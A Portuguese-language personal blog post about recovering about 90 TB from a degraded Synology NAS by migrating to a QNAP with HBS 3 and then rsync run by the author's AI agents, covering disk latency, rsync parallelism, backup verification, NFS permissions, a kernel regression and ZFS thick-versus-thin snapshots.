<li><strong>Over-provisioning de 5%.</strong> É um pedaço do pool que o sistema reserva e nunca entrega pra dado. ZFS escreve sempre em espaço novo e fica lento quando o pool enche perto do limite; essa folga mantém o desempenho estável. Em pool de SSD ela também prolonga a vida útil, mas aqui são HDs, então o mínimo já serve.</li>
<li><strong>Espaço garantido de snapshot de 5%.</strong> É a reserva pra snapshot, as &ldquo;fotos&rdquo; do estado dos arquivos que permitem voltar atrás num apagão ou num ransomware. Garantir o espaço significa que os snapshots continuam existindo mesmo que eu encha o resto. Meus dados mudam pouco (é arquivo morto, na maior parte), então snapshot ocupa quase nada e 5% sobra.</li>
<li><strong>Alerta em 85%.</strong> O sistema me avisa quando o pool passar de 85% de uso, com folga pra eu agir antes de bater no teto. Foi exatamente a falta de folga que me fez sair trocando disco às pressas no Synology.</li>
</ul>
<p>Somando as duas reservas, uns 13 TB ficam separados e sobram 112,9 TB pra uso.</p>
<p>Um detalhe do meu caso: estou copiando os 90 TB com os snapshots desligados, e só ligo o agendamento depois que a cópia terminar. Snapshot protege o estado anterior de um arquivo, e num NAS vazio que está recebendo a primeira carga não existe estado anterior que valha proteger. A fonte da verdade ainda é o Synology.</p>
<p>E tem um custo prático. Eu parei e recomecei o job várias vezes, apaguei pasta que tinha entrado por engano e copiei de novo. Com snapshot ligado, cada coisa apagada continuaria ocupando espaço dentro de algum snapshot, e eu estaria enchendo o pool com lixo da própria migração. Quando tudo estiver do lado de cá e conferido, aí sim: snapshot agendado, pra me proteger de apagar o que não devia e de ransomware.</p>
<p>Depois disso criei uma partição gigante &ldquo;thick&rdquo;. Em ZFS dá pra criar pasta &ldquo;thin&rdquo;, que só ocupa o que tem dentro e pode prometer mais espaço do que existe, ou &ldquo;thick&rdquo;, que reserva o tamanho inteiro na criação. Como é um pool com um dono só e um uso só, thick é mais previsível: o espaço é meu e ninguém compete por ele.</p>
<p>Por fim, criei os compartilhamentos e instalei o app HBS 3.</p>
<h2>Copiando 90 TB<span class="hx:absolute hx:-mt-20" id="copiando-90-tb"></span>
    <a href="#copiando-90-tb" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O HBS 3 (Hybrid Backup Sync) é o aplicativo da QNAP pra backup e sincronização. Ele conecta em outro NAS, em rsync, em FTP, em SMB ou em nuvem.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-hbs3-criar-job.png" alt="Tela de criação de job de sincronização do HBS 3, com as opções de destino: NAS local, NAS remoto, Rsync, FTP e CIFS/SMB"  loading="lazy" /></p>
<p>Conectei no compartilhamento SMB do Synology e mandei sincronizar tudo.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-hbs3-job-sync.png" alt="HBS 3 sincronizando do Synology TERACHAD para o QNAP TS-873A"  loading="lazy" /></p>
<p>Tive que parar e recomeçar algumas vezes, mexendo nas configurações do job, porque estava absurdamente lento. E a contagem de arquivos não parava de crescer:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-hbs3-snapshot-explosao.png" alt="Status do job no HBS 3 mostrando 45 milhões de arquivos e 865 TB calculados, com média de 350 MB/s"  loading="lazy" /></p>
<p>865 TB num NAS de 108 TB, e aí eu entendi o que estava acontecendo.</p>
<p>Excluí dois tipos de caminho do job:</p>
<ul>
<li><strong>Os diretórios <code>#snapshot</code>.</strong> No Synology, quando você marca &ldquo;tornar snapshot visível&rdquo;, cada pasta compartilhada ganha uma subpasta <code>#snapshot</code> com uma visão completa da pasta em cada ponto no tempo. Dentro do Synology isso não ocupa espaço, porque snapshot só guarda a diferença. Visto de fora, por SMB, cada snapshot parece uma cópia inteira de tudo, e o HBS estava tentando copiar todas.</li>
<li><strong>Os diretórios de backup do restic.</strong> O restic guarda tudo em centenas de milhares de arquivos de pack de poucos megabytes cada. Cópia por rede é rápida com arquivo grande e sofre com arquivo pequeno, porque cada um custa abertura, metadado e fechamento. E esses backups eu refaço do zero no NAS novo.</li>
</ul>
<p>Com isso a vazão subiu pra uma média de 400 MB/s.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-qnap-400mbs.png" alt="Monitor de recursos do QNAP mostrando 414,8 MB/s de recebimento na interface de 10 GbE"  loading="lazy" /></p>
<p>Isso é menos da metade do que uma rede 10 GbE entrega, mas é mais de três vezes o gigabit que a maioria das pessoas tem em casa. Os dois lados estão de fato a 10 gigabits:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-qnap-10gbe.png" alt="Adaptador 10 GbE do QNAP conectado a 10 Gbps"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-synology-10gbe.png" alt="Interface LAN 5 do Synology a 10000 Mbps, full duplex"  loading="lazy" /></p>
<p>Por que não chega nos 1.000 MB/s? Minha hipótese principal é o disco 8. O array de origem está degradado, e cada leitura que passa pelos pedaços afetados precisa ser recalculada a partir da paridade, com um disco que ainda por cima devolve erro e repete tentativa. Faz sentido o Synology não conseguir ir mais rápido que isso.</p>
<p>Tem um segundo fator, que os meus próprios prints entregam: o Synology está com jumbo frame (MTU 9000), e a imagem do QNAP mostra o MTU padrão de 1500. Esse print é de antes; eu já mudei o QNAP pra 9000 também.</p>
<p>Por que isso importa: MTU é o tamanho máximo de cada pacote que trafega na rede. No padrão de 1500 bytes, encher um link de 10 gigabits significa processar mais de 800 mil pacotes por segundo, e cada pacote custa CPU dos dois lados, com cabeçalho, checksum e interrupção. Com jumbo frame cada pacote carrega seis vezes mais dado, então é um sexto dos pacotes pro mesmo volume, e sobra processador pra mover arquivo. Só funciona se todo mundo no caminho estiver igual: as duas placas e o switch. Se um lado fica em 1500, a conexão negocia pelo menor e o jumbo frame do outro lado não serve de nada.</p>
<p>A 400 MB/s, 90 TB levam uns dois dias e meio, e eu prefiro dois dias e meio garantidos.</p>
<h2>O que a Synology explicou<span class="hx:absolute hx:-mt-20" id="o-que-a-synology-explicou"></span>
    <a href="#o-que-a-synology-explicou" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Em paralelo, abri um chamado no suporte da Synology. Depois de algumas trocas, mandei os logs. Responderam rápido, no mesmo dia, e isso eu reconheço. A explicação do engenheiro, resumida:</p>
<ul>
<li>O disco 8 vinha registrando erro de mídia <strong>há mais de um mês</strong>. Erro de mídia é quando o NAS manda ler um setor e o disco responde que não conseguiu, mesmo tentando várias vezes. É sempre falha interna do disco, e ele deveria ter sido trocado.</li>
<li>Foi a saúde ruim do disco 8 que o derrubou durante a reconstrução do disco 1.</li>
<li>Na prática eu perdi dois discos, e o pool deveria ter caído por completo. Não caiu por causa do jeito como o SHR funciona.</li>
</ul>
<p>O SHR não é um RAID-5 só. Pra aproveitar discos de tamanhos diferentes sem desperdiçar espaço, ele fatia os discos e monta vários RAIDs menores, um por faixa de tamanho, e junta tudo num volume. O engenheiro mandou este diagrama de exemplo:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-synology-shr-particoes.png" alt="Diagrama do suporte da Synology mostrando como o SHR divide discos de tamanhos diferentes em partições 1, 2 e 3"  loading="lazy" /></p>
<p>No meu caso, o pool é feito de duas partições. Na primeira, a reconstrução do disco 1 já tinha avançado o bastante e a falha do disco 8 foi leve o bastante pra que os dois continuassem funcionando. Na segunda, os dois estão ausentes. É por isso que o pool não caiu inteiro e eu ainda enxergo os arquivos.</p>
<p>A recomendação dele foi a que eu já estava seguindo: copiar tudo pra fora antes de qualquer outra coisa, porque não dá pra saber se a situação piora nem se tem conserto. Depois do backup ele até pode tentar forçar o disco 8 de volta pro pool pra reconstrução continuar, mas não há garantia de que o disco aceite, nem de que aguente o processo. Nas palavras dele, copiar e recriar o pool do zero é provavelmente o caminho mais rápido.</p>
<p>RAID-5 clássico, aliás, exige todos os discos do mesmo tamanho, e pra aumentar a capacidade eu teria que trocar todos de uma vez. O SHR foi o que me permitiu ir trocando um por vez ao longo dos anos. Por ironia, foi também o que me salvou de perder tudo de uma vez.</p>
<h2>Os dois erros<span class="hx:absolute hx:-mt-20" id="os-dois-erros"></span>
    <a href="#os-dois-erros" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Do jeito que eu entendi, são dois erros, um meu e um deles, e é aí que mora o desastre inteiro.</p>
<p><strong>O meu:</strong> subestimei o RAID-6, que na Synology se chama SHR-2. Com dois discos de paridade, a falha do disco 8 no meio da reconstrução seria só um susto. Eu troquei segurança por 20 TB de espaço e passei cinco anos achando que tinha feito bom negócio.</p>
<p><strong>O deles:</strong> pelos logs, o software sabia que o disco 8 estava falhando havia pelo menos um mês, e eu nunca recebi notificação nenhuma. Eu tenho notificação por e-mail configurada. E ela funciona: quando a situação crítica estourou, recebi uma enxurrada de e-mails. Este aqui, sobre os setores ruins do disco 8, chegou à uma da tarde de segunda, cinco horas depois do desastre:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-synology-email-bad-sectors.png" alt="E-mail do Synology avisando que o número de setores ruins aumentou no disco 8, um Seagate ST22000NT001"  loading="lazy" /></p>
<p>Antes disso, nada. Nenhum aviso sobre o disco 8 até ele falhar de forma catastrófica.</p>
<p>Se eu tivesse recebido, jamais teria tentado trocar o disco 1 antes de substituir o 8. A situação toda era evitável, e foi resultado de um erro humano somado a algum bug de software.</p>
<p>Esse é o outro motivo de eu não ter comprado outra Synology. Tenho um princípio: se o cavalo me derruba, eu sacrifico o cavalo. Não dá pra confiar de novo.</p>
<h2>Onde estou agora<span class="hx:absolute hx:-mt-20" id="onde-estou-agora"></span>
    <a href="#onde-estou-agora" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Até aqui copiei uns 20 TB dos 90 TB originais, e o HBS 3 segue trabalhando. Ainda não sei se perdi algum dado de forma permanente. Espero que não, mas o mais provável é que eu tenha perdido o que estava na fatia de RAID que o engenheiro descreveu como caída.</p>
<p>Tenho backup offsite no AWS Glacier do que é mais importante, mas não de tudo.</p>
<p>Muita gente pergunta por que eu não uso S3 ou outro armazenamento em nuvem pra tudo. Devolvo a pergunta: pensa por dez segundos. Quanto tempo leva pra transferir 90 TB pela sua internet? Faz a conta:</p>
<ul>
<li>Com 1 gigabit de upload cravado, sem cair um segundo: mais de 8 dias.</li>
<li>Com 500 megabits: quase 17 dias.</li>
<li>Com 100 megabits, que é upload bom pra muita casa: 83 dias.</li>
</ul>
<p>E isso é pra subir. Na hora do desastre você precisa baixar tudo de volta, com o relógio correndo. Sem contar o aluguel: 90 TB em S3 padrão custam uns US$ 2 mil por mês no preço de tabela. Nuvem é ótima pro subconjunto crítico, que é como eu uso. Pro acervo inteiro, a física e a fatura não deixam.</p>
<h2>Lições<span class="hx:absolute hx:-mt-20" id="lições"></span>
    <a href="#li%c3%a7%c3%b5es" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Fui colocado numa situação impossível numa segunda de manhã, agi na hora do melhor jeito que consegui, e provavelmente vou sair dessa quase ileso. Vamos ver, o HBS 3 ainda está sincronizando. O que eu levo disso:</p>
<ol>
<li><strong>Paridade simples não basta pra disco grande.</strong> Com discos de 20 TB, a reconstrução leva dias e lê tudo. É nesse intervalo que o segundo disco costuma aparecer. RAID-6, SHR-2 ou RAIDZ2.</li>
<li><strong>Não confie só na notificação do fabricante.</strong> Olhe o SMART e o log dos discos antes de começar qualquer troca. Eu não olhei, porque confiava que seria avisado.</li>
<li><strong>Troque primeiro o disco doente, depois o disco pequeno.</strong> Upgrade de capacidade em array com disco suspeito é roleta.</li>
<li><strong>Deixe folga.</strong> Eu estava trocando disco porque o volume estava no teto. Alerta em 85% existe pra isso.</li>
<li><strong>Tenha pra onde copiar.</strong> A minha saída custou R$ 185 mil porque eu não tinha plano B. Um segundo NAS, mesmo modesto, com o que importa, teria me dado tempo pra comprar com calma.</li>
<li><strong>RAID não é backup.</strong> Eu sei disso, ensino isso, e mesmo assim só tinha offsite de uma parte.</li>
</ol>
<p>A cópia terminou e eu já sei o tamanho do estrago: zero. A recuperação completa vem a seguir.</p>
<h2>Seis dias depois: o final da história<span class="hx:absolute hx:-mt-20" id="seis-dias-depois-o-final-da-história"></span>
    <a href="#seis-dias-depois-o-final-da-hist%c3%b3ria" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Quando publiquei a primeira parte, eu tinha uns 20 TB copiados e nenhuma certeza. O desfecho: terminei de evacuar os ~91 TB, verifiquei arquivo por arquivo, e não perdi nada por acidente. Nem o que estava na fatia de RAID caída, porque ela continuou legível até o fim.</p>
<p>Quem operou a recuperação foram os meus dois agentes. O agente do desktop controla meu PC e os dois NAS por SSH, e o agente do homelab cuida do servidor onde rodam meus 57 containers. Os dois se coordenam por mensagem: um deixa relatório na caixa do outro, e eu acompanho a conversa.</p>
<p><img src="nas-ai-memory-agentes.png" alt="Terminal do agente do desktop consultando a caixa de mensagens do ai-memory, onde o agente do homelab deixa seus relatórios"  loading="lazy" /></p>
<p>Essa parte importa porque nada do que vem a seguir foi eu digitando comando. Eu tomei as decisões; eles executaram, mediram e erraram feio algumas vezes, como você vai ver.</p>
<h3>O HBS 3 estava me traindo quieto<span class="hx:absolute hx:-mt-20" id="o-hbs-3-estava-me-traindo-quieto"></span>
    <a href="#o-hbs-3-estava-me-traindo-quieto" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Na primeira parte eu contei que o HBS 3, puxando os compartilhamentos do Synology por CIFS, chegou a 400 MB/s depois dos ajustes. O que eu não sabia: velocidade era o menor dos problemas dele.</p>
<p>Dois defeitos apareceram quando o agente conferiu o inventário da origem contra o que o HBS reportava:</p>
<ul>
<li><strong>Ele não entrava onde não tinha permissão e não contava pra ninguém.</strong> O HBS monta o Synology como o meu usuário. O diretório <code>Bitcoin/data</code>, 901 GB com a wallet e o chainstate do meu nó, pertence ao uid 101 e é fechado pra qualquer outro. O CIFS não conseguia entrar ali, e o HBS reportava sucesso sem registrar a omissão. Um backup &ldquo;verde&rdquo; que deixa o nó de Bitcoin inteiro pra trás.</li>
<li><strong>Ele pulava arquivos com nome &ldquo;não suportado&rdquo;.</strong> 113 arquivos, registrados só numa tela de detalhe que ninguém abre durante uma cópia de dias.</li>
</ul>
<blockquote>
  <p>Ferramenta de backup que reporta sucesso omitindo o que não conseguiu ler é pior que uma que falha gritando. Verifique o backup contra um inventário independente da origem, nunca contra o log da própria ferramenta.</p>

</blockquote>
<p>Abandonamos o HBS. O agente abriu SSH nos dois NAS, habilitou o servidor rsync no QNAP e o Synology passou a empurrar direto pro rsyncd dele, sem nada passar pelo PC. O wrapper de cada job: <code>rsync -a --numeric-ids -W --partial --timeout=600</code>, tentativas com retry, e <strong>nunca <code>--delete</code></strong>. O <code>--numeric-ids</code> preservou os uids originais sem precisar de chown depois, o <code>--partial</code> fez qualquer interrupção virar continuação, e a ausência de <code>--delete</code> fez do destino sempre um superconjunto: re-shardar ou matar um job nunca custava dados.</p>
<h3>O gargalo não era o disco quebrado<span class="hx:absolute hx:-mt-20" id="o-gargalo-não-era-o-disco-quebrado"></span>
    <a href="#o-gargalo-n%c3%a3o-era-o-disco-quebrado" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Um contexto que faltou na primeira parte. Esse Synology nasceu com oito Seagate IronWolf de linha consumidora, e eu vinha trocando um por um por IronWolf Pro de 20 TB ao longo dos anos. A desgraça aconteceu exatamente num desses upgrades: eu troquei o disco 1 pelo Pro novo e, durante a reconstrução, o disco 8 falhou. Sobrou um único disco antigo no array: o disco 2.</p>
<p>E foi ele, não o disco 8, o gargalo da evacuação. Medido sob carga:</p>
<ul>
<li>Disco 2 (o consumidor antigo, com 37 mil horas de uso): 91% de utilização, entregando 27 MB/s, cada I/O demorando 4 a 15 vezes mais que os irmãos.</li>
<li>Os seis Pro: entre 34% e 45% de utilização, parados esperando ele.</li>
</ul>
<p>Em RAID-5 (e no SHR), uma leitura sequencial atravessa o stripe inteiro, e o stripe só completa quando o membro mais lento responde. Um disco lento limita o array inteiro: por causa dele, o array não passava de uns 200 MB/s enquanto seis discos bons sobravam. E o SMART dele estava limpo, zero setores realocados. Disco consumidor costuma vir sem limitação de tempo de recuperação de erro (ERC/TLER) ativa, então ele tenta reler setor marginal por segundos, internamente, sem contabilizar nada. O cache NVMe do Synology desviava parte da leitura dos pratos e ajudava a maquiar o sintoma.</p>
<blockquote>
  <p>O disco que falha e o disco que te atrasa não precisam ser o mesmo, e SMART &ldquo;PASSED&rdquo; não diz nada sobre latência. Array lento se diagnostica com utilização e tempo de resposta por disco, não com SMART.</p>

</blockquote>
<h3>Paralelizar rsync é ciência, não chute<span class="hx:absolute hx:-mt-20" id="paralelizar-rsync-é-ciência-não-chute"></span>
    <a href="#paralelizar-rsync-%c3%a9-ci%c3%aancia-n%c3%a3o-chute" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Primeiro instinto: mais streams. Errado, e por duas vezes.</p>
<p>Na primeira, um bug nosso: um relançamento &ldquo;limpo&rdquo; de jobs não matou nada, porque o <code>ps</code> do busybox do Synology trunca a linha de comando e o grep de verificação não achou os processos velhos. Resultado: 32 rsyncs rodando pra 7 destinos, quatro a cinco escritores por árvore, o QNAP com os buffers de recepção entalados, e o cabo transmitindo 516 MB/s enquanto o array lia 140. Depois da limpeza (enumerando <code>/proc/*/cmdline</code>, nunca mais confiando no <code>ps</code>), a vazão útil <strong>subiu</strong> de 140 pra 181 MB/s com a carga total desabando.</p>
<p>Na segunda, a medida inverteu o senso comum: com árvores de arquivo grande, menos streams eram mais rápidos, porque o tamanho médio de cada requisição de leitura triplicava e o array fazia corridas sequenciais longas em vez de ficar pulando de posição.</p>
<p>Só que árvore de arquivo pequeno é outro esporte. O <code>TERACHAD/Emulators</code> tem 21 TB em 3,4 milhões de arquivos com média de 6 MB: trabalho limitado por latência (stat, criação, metadados), não por banda. E ali a paralelização agressiva funcionou, com um detalhe: o shard certo se escolhe por <strong>contagem de arquivos</strong>, não por tamanho. Um único diretório, <code>ROMS_FINAL/xbox-hdd-ready</code>, segurava 995 mil dos 1,59 milhão de arquivos do ROMS_FINAL, com média de 1,7 MB por arquivo. Isolando ele dos ISOs multi-gigabyte:</p>
<table>
  <thead>
      <tr>
          <th>Configuração</th>
          <th style="text-align: right">GB/hora</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>stream único, média de 6 horas</td>
          <td style="text-align: right">~157</td>
      </tr>
      <tr>
          <td>dois shards</td>
          <td style="text-align: right">272</td>
      </tr>
      <tr>
          <td><strong>três shards</strong></td>
          <td style="text-align: right"><strong>436 a 501</strong></td>
      </tr>
  </tbody>
</table>
<p>De 2,8 a 3,2 vezes a vazão média do stream único, na mesma máquina, na mesma rede. E tem um motivo bonito: com o array faltando um membro, leituras de dados que não moram no disco 2 não precisam dele, então a concorrência extra deixava os outros discos trabalharem enquanto ele engasgava.</p>
<blockquote>
  <p>&ldquo;Mais paralelismo&rdquo; e &ldquo;menos paralelismo&rdquo; são as duas respostas erradas como regra geral. Trabalho limitado por banda se divide pouco; trabalho limitado por latência se divide muito, e por contagem de arquivos. Meça antes de escolher.</p>

</blockquote>
<h3>Copiar é metade do trabalho; provar é a outra metade<span class="hx:absolute hx:-mt-20" id="copiar-é-metade-do-trabalho-provar-é-a-outra-metade"></span>
    <a href="#copiar-%c3%a9-metade-do-trabalho-provar-%c3%a9-a-outra-metade" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Cada job que terminava passava por um dry-run do mesmo rsync, com os mesmos excludes: zero arquivos precisando transferência significa destino idêntico por tamanho e data. E mesmo assim quase deu errado, porque <strong>a verificação herdava os excludes da cópia</strong>: uma árvore excluída da transferência ficava excluída da própria prova. Refazendo a checagem sem excludes, apareceram 952 arquivos e 191 GB faltando no Downloads (exatamente os lotes que eu tinha separado como &ldquo;única cópia existente&rdquo;) e os repositórios restic antigos, que um nome de diretório parecido no QNAP fingia cobrir: o ID interno dos repositórios provou que eram outros, não cópias.</p>
<p>Teve também deriva de origem: uma árvore verificada como completa recebeu 16 GB de checkpoints novos no Synology depois da checagem, e só a re-verificação final pegou. Verificação tem prazo de validade.</p>
<p>E uma decisão consciente, registrada pra ninguém me acusar de esconder: os históricos antigos de backup (uns 2 TB de snapshots restic e um set de duplicity de 2025) ficaram pra trás por escolha minha, porque os repositórios novos no QNAP já cobrem o mesmo conteúdo a partir de agora. Perda deliberada de histórico, não de dado.</p>
<p>Fecho da conta: <strong>17 jobs de rsync, todos exit 0, todos verificados, uns 5,9 milhões de arquivos byte-idênticos</strong>, e o desligamento do Synology só aconteceu depois de cada árvore provada.</p>
<p><img src="nas-homelab-containers-status.png" alt="Tabela de status da recuperação no meio do processo: os containers já liberados e os que seguiam segurados esperando a verificação do rsync de cada árvore"  loading="lazy" /></p>
<h3>Enquanto isso, no homelab<span class="hx:absolute hx:-mt-20" id="enquanto-isso-no-homelab"></span>
    <a href="#enquanto-isso-no-homelab" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Do outro lado da casa, o servidor marvin, que monta o NAS por NFS e roda os 57 containers, quase morreu de pé. NAS morto mais montagem NFS &ldquo;hard&rdquo; mais 57 containers reiniciando sozinhos deu uma fila infinita de I/O ininterruptível: a máquina respondia ping, mas o sshd não conseguia completar um handshake. E cada tentativa insistente de SSH só piorava, porque o OpenSSH pune fonte repetitiva aumentando o banimento. A gente batia na porta e a porta aumentava a tranca.</p>
<p>A saída foi parar de bater: pausei os torrents pela API do qBittorrent (que continuava respondendo), fui no console físico, desabilitei o Docker, reinicie, e o servidor voltou. Um watchdog que eu nem lembrava que existia tinha, sozinho, derrubado os 14 containers dependentes do NAS antes de qualquer banco corromper: o LevelDB do bitcoind abriu limpo na primeira tentativa.</p>
<p>A migração em si foi elegante: o fstab apontou pro QNAP e os pontos de montagem antigos viraram symlinks pra dentro do novo. <strong>Nenhum docker-compose mudou.</strong> Aí veio a pegadinha do NFS da QNAP: permissão é por cliente. O desktop estava liberado sem squash, mas as escritas do marvin caíam como uid 1001, bloqueando tudo que escreve no NAS. A primeira tentativa de correção ainda virou a montagem pra read-only no meio do primeiro backup restic, que sobreviveu na base do retry. Configuração final: leitura e escrita, sem squash pra ninguém, testada com <code>touch</code> e <code>ls -ln</code> de cada cliente, porque &ldquo;funcionou no desktop&rdquo; não prova nada sobre o servidor.</p>
<p><img src="nas-qnap-configurando-nfs.png" alt="Tela de permissões NFS do QNAP, com a regra por host pro servidor do homelab"  loading="lazy" /></p>
<p>Depois disso foi ressurreição árvore por árvore: cada serviço só subia quando a árvore dele estava verificada no QNAP. Em dois dias, 57 de 57 containers de volta, e um backup restic novinho rodando diariamente pro QNAP.</p>
<h3>O kernel novo derrubou o NVMe<span class="hx:absolute hx:-mt-20" id="o-kernel-novo-derrubou-o-nvme"></span>
    <a href="#o-kernel-novo-derrubou-o-nvme" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>No meio da recuperação, um susto de graça do servidor. Sete minutos depois do backup noturno começar, o controlador NVMe sumiu em silêncio: todo binário tomou SIGBUS, Docker e sshd morreram, e nada restou gravado em lugar nenhum, porque o log mora no dispositivo que morreu. Nem kernel panic: só silêncio.</p>
<p>O mesmo workload tinha rodado bem horas antes no kernel 7.2.6 e morreu no 7.2.9. Desligar o APST (o gerenciamento de energia do NVMe) não resolveu: segunda queda idêntica, regressão do 7.2.9 confirmada por eliminação. O MicroOS é transacional e baseado em snapshot, então o rollback foi um reboot pra linhagem 7.2.6, não uma reinstalação. As atualizações automáticas ficaram propositalmente quebradas naquela linhagem pra ninguém voltar pro 7.2.9 sem supervisão, e o teste do 7.2.8 fica pra quando eu puder sentar do lado.</p>
<blockquote>
  <p>Sistema operacional transacional transforma regressão de kernel em reboot. Sem snapshot de sistema, essa noite teria custado muito mais caro.</p>

</blockquote>
<h3>O susto do thick provisioning<span class="hx:absolute hx:-mt-20" id="o-susto-do-thick-provisioning"></span>
    <a href="#o-susto-do-thick-provisioning" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>No QNAP, a cópia inteira rodou sem snapshot nenhum: numa migração em massa, snapshot é peso morto. Terminada a cópia, fui ligar a agenda de snapshots do ZFS e tomei um erro seco: &ldquo;pool free space is not enough&rdquo;. Com 20 TB livres.</p>
<p><img src="nas-qnap-thick-thin-erro-snapshot.png" alt="Erro do QNAP ao tentar criar snapshot: espaço livre do pool insuficiente, mesmo com terabytes livres"  loading="lazy" /></p>
<p>As duas afirmações eram verdade sobre coisas diferentes. A pasta CHAD tinha sido criada como <strong>thick</strong>: dos 100 TB de quota, o ZFS reserva os 100 TB, e pra tirar snapshot de um dataset com reserva, o pool precisa garantir espaço pra sobrescrever todos os blocos referenciados enquanto o snapshot prende as cópias velhas. Na conta: 80 TB escritos mais 100 TB reservados, contra 126 TB utilizáveis do pool. Não fecha. E o <code>df</code> mente dos dois lados, porque mede a pasta contra a quota, não contra o pool.</p>
<p>A correção foi converter a pasta pra <strong>thin</strong>, que o QuTS hero faz in-place, escondido na tela de Management da pasta, não no diálogo de edição onde &ldquo;Thick&rdquo; parece texto estático. Em thin, o número vira teto em vez de reserva: a reserva de 10 TB evaporou, o pool passou a ter 39 TB livres, e o primeiro snapshot saiu consumindo 334 KB sobre 79,9 TB referenciados. O ZFS não precisava de quase nada; a reserva é que exigia garantia de 100 TB pra autorizar.</p>
<p><img src="nas-qnap-chad-properties.png" alt="Propriedades da pasta CHAD depois da conversão, já como thin"  loading="lazy" /></p>
<p>Agora o QNAP tem agenda de snapshots com política de retenção, como devia ser desde o primeiro dia:</p>
<p><img src="nas-qnap-snapshot-schedule.png" alt="Agenda de snapshots da pasta CHAD no QNAP"  loading="lazy" /></p>
<p><img src="nas-qnap-snapshot-retention.png" alt="Política de retenção dos snapshots: quantos guardar por dia, semana e mês"  loading="lazy" /></p>
<p>Duas notas de rodapé pra quem montar um desses. Se a sua pasta thin tiver alerta de 80%, suba a quota pra folga estética, porque o alerta mede contra a quota e não contra o pool. E o gargalo real desse QNAP é RAM: 7 GB pra um pool de 174 TB. O mínimo oficial do QuTS hero é 8 GB, e a prática recomendada pra esse porte é 16 pra cima. O tamanho do cache ARC governa a velocidade de metadados, e foi por isso que as varreduras de árvore inteira durante a migração eram lentas. Upgrade de RAM vale mais que qualquer ajuste fino.</p>
<h3>O Synology nasce de novo<span class="hx:absolute hx:-mt-20" id="o-synology-nasce-de-novo"></span>
    <a href="#o-synology-nasce-de-novo" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Com tudo verificado no QNAP, o Synology finalmente pôde ser operado. Troquei os discos 2 e 8 por IronWolf Pro novos, apaguei o pool ferido e recriei do zero, desta vez em <strong>SHR-2</strong>, o modo com dois discos de paridade, o RAID-6 deles. O pool novo saiu com 100 TB, todos os discos saudáveis:</p>
<p><img src="nas-synology-pool-novo-saudavel.png" alt="Storage Manager do Synology mostrando o pool novo SYNOCHAD em SHR com tolerância a dois discos, 100 TB e todos os discos Healthy"  loading="lazy" /></p>
<p>Ele volta a trabalhar como alvo de réplica, e não mais como ponto único de falha. O QNAP segue como principal, em RAIDZ2, com 87 TB dos 126 TB usados e os snapshots agendados:</p>
<p><img src="nas-qnap-storage-manager-final.png" alt="Storage Manager do QNAP com o pool RAID 6 Ready e a pasta CHAD em thin com 79,9 TB de 95 TB"  loading="lazy" /></p>
<h3>O que eu levo da segunda metade<span class="hx:absolute hx:-mt-20" id="o-que-eu-levo-da-segunda-metade"></span>
    <a href="#o-que-eu-levo-da-segunda-metade" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><ol>
<li><strong>Desconfie do sucesso silencioso.</strong> O HBS reportava verde enquanto deixava 901 GB pra trás. Backup se verifica contra inventário da origem.</li>
<li><strong>SMART não mede lentidão.</strong> O disco que quase matou a evacuação estava &ldquo;saudável&rdquo;. Utilização e latência por disco contam a verdade.</li>
<li><strong>Paralelismo se calibra medindo.</strong> Bandwidth-bound divide pouco, latency-bound divide muito, e o shard se escolhe por contagem de arquivos.</li>
<li><strong>Verificação não herda exclude.</strong> Se a prova usa os mesmos filtros da cópia, ela só reafirma as suposições da cópia. E verifique de novo imediatamente antes de destruir a origem.</li>
<li><strong>Permissão de NFS é por cliente.</strong> Teste escrita de cada máquina que vai usar.</li>
<li><strong>Não bata repetidamente num sshd morrendo.</strong> Cada tentativa alonga o banimento. Uma tentativa paciente, ou console físico.</li>
<li><strong>O reparo perigoso vem por último.</strong> O array ficou degradado e lento até o último byte estar provado em outro lugar; só então reconstruir deixou de custar qualquer coisa.</li>
</ol>
<p>Saí dessa melhor protegido do que entrei: dois NAS, cada um com seu RAID-6, snapshots agendados no QNAP, restic diário, e o Glacier pro que é crítico. O desastre me custou um QNAP, dois discos e uma semana. Podia ter custado 90 TB.</p>
